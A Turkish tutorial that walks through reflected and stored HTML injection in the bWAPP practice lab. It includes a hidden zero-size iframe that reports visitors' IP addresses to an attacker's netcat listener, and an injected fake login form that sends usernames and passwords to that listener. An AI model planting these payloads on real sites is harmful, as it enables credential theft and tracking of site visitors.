Merhabalar
Bu konuda sizler ile html injection'u ele alacağız.
Html injection'u 2 bölüme ayırabiliriz reflected ve stored.
Peki reflected ve stored ne demek ?
Reflected sadece anlık bir komut çalıştırır yani sitede bir değişiklik yapmaz sadece biz görebiliriz yani biz linki eğer başka bir kullanıcıya gönderirsek tıklarsa görebilir.
Stored ise sitede kalıcı bir değişiklik yapar, yani bizim değişiklik yaptığımız sayfayı herkes görebilir.
Reflected Html İnjection
Html injectionda ileride görücez aynı xss'de nasıl javascript ve html kodları çalıştırabiliyorsak html injectionda da html kodları çalıştırabiliyoruz.
Şimdik bwapp'ı açıyoruz bizden şifre isteyecektir bee/bug olarak giriş yapıyoruz.
Sonra sağ üst taraftan "Html İnjection - Reflected (Get)" seçeneğini seçiyoruz.
Fotoğrafta gördüğünüz gibi bizi ad ve soy ad girme bölümü karşılıyor adımızı soyadımızı girelim.
Gördüğünüz gibi bize bir hoşgeldin mesajı yazdırdı.
Tamam peki burda html injection nasıl tespit edeceğiz.
Şöyle Ad veyahut soy ad kısmını html'de var olan h1 yani heading tagları içerisinde yazacağız.
Ad kısmına : <h1>Tepe</h1>
Yazdım.
Üst tarafta gördüğünüz gibi Tepe'yi büyük yazdırdı.
Tamam burda html injection tespit ettik güzel.
O zaman google'da araştırma yapalım google'a "html injection cheat sheet" diye aratalım.
Github sayfasına girelim....
Üst taraftaki fotoğraf'a baktığımızda html ile javascript'i birleştirerek güzel bir payload çıkarmışlar ortaya.
Payload: <h1>Hello,<script>alert(1)</script></h1>
Şimdi bu payload'ı ad kısmına yazalım.
Üsteki fotoğrafta gördüğünüz gibi hem uyarı aldık ve tamam dediğimizde hello kısmını büyük yazdırdı:
Şimdi ise stored html injection'a bakalım.
Stored Html İnjection
Bwapp'da "Html İnjection - Stored (Blog)" seçelim.
Bizi böyle bir yorum yapma yeri karşılıyor.
Örneğin tekrardan <h1>Hello</h1> yazalım tekrardan:
Gördüğünüz gibi helloyu büyük yazdı birde şimdi resim çağıralım dışardan.
Bu kodu yazacağız: <iframe src="
https://hacktivizm.org/ST0MIp.png"</iframe>
Gördüğünüz gibi hacktivizm logosunu gösterdi...
Şimdi olayları biraz daha tehlikeli hale getirelim..
Bizim kali linux'da netcat dediğimiz bir araç var bu araç istekleri yakalamaya yarayan bir araç kısaca.
Şimdi şöyle bir kod yazalım.
Bu kod ip adresimize 2020. port üzerinden gelecek her isteği yakalayıp bize gösterecek.
Sonra birde ifconfig yazarak local ip adresimize bakalım.
Local ip adresimizide öğrendik şöyle bir kod yazacağız.
Kod:
<iframe src="http://192.168.1.109:2020/test" height="0" width="0"></iframe>
Kodun anlamı şöyle 192.168.1.109'un 2020.porttan test sayfasına istek atıyor gibi oluyor.
height ve width değerlerinin 0 olmasının sebebi birşey gözükmesin kurban çakmasın diye.
Kodu yorum olarak yazıyorum...
Submit dediğimde netcat'e bir bağlantı düştü:
Fotoğrafa baktığımızda ip adresinide görüyoruz tabi local ağda olduğumuz için local ip adresimiz geliyor şuan yorum yaptığımız sayfaya giren herkesin ip adresi buraya düşecek hangi site sahibi ziyaretçilerin ip adreslerinin çalınmasını isterki.
Üstteki fotoğrafta gördüğünüz gibi width ve height değerli 0 yaptığımız için hiç birşey gözükmüyor.
Şimdi bir örnek daha yapalım.
Tekrardan netcat dinlemesi başlatalım.
Sonra şöyle bir login kodu yazalım:
HTML:
<form name="login" action="http://192.168.1.109:2020/test.html">
<input type="text" name="username" placeholder="Username">
<br> <br>
<input type="password" name="password" placeholder="password">
<br> <br>
<input type="submit" name="login" value="Login">
</form>
Tabi action kısmına ip adresini ve dinleme yaptığınız portu yazın ve ek olarak /test.html kısmı veriler sanki test.html dosyasına gidiyormuş gibi göstermek için.
Üstteki fotoğrafta gördüğünüz gibi bir login alanı oluştu buraya kullanıcı adı ve şifremizi girdiğimiz zaman netcat'e bağlantı düşecektir.
Gördüğünüz gibi kullanıcı adı ve şifre düşmüş oldu.
Evet konu bu kadar idi stores html injection'un ne kadar tehlikeli olduğunu gördük. Aslında reflected'da tehlikeli olabilir sonuçta bir payload sayesinde javascript çalıştırabiliyoruz ilerde beef dediğimiz bir konu göreceğiz neden böyle dediğimi o zaman daha iyi anlayacaksınız.
Saygılarımla...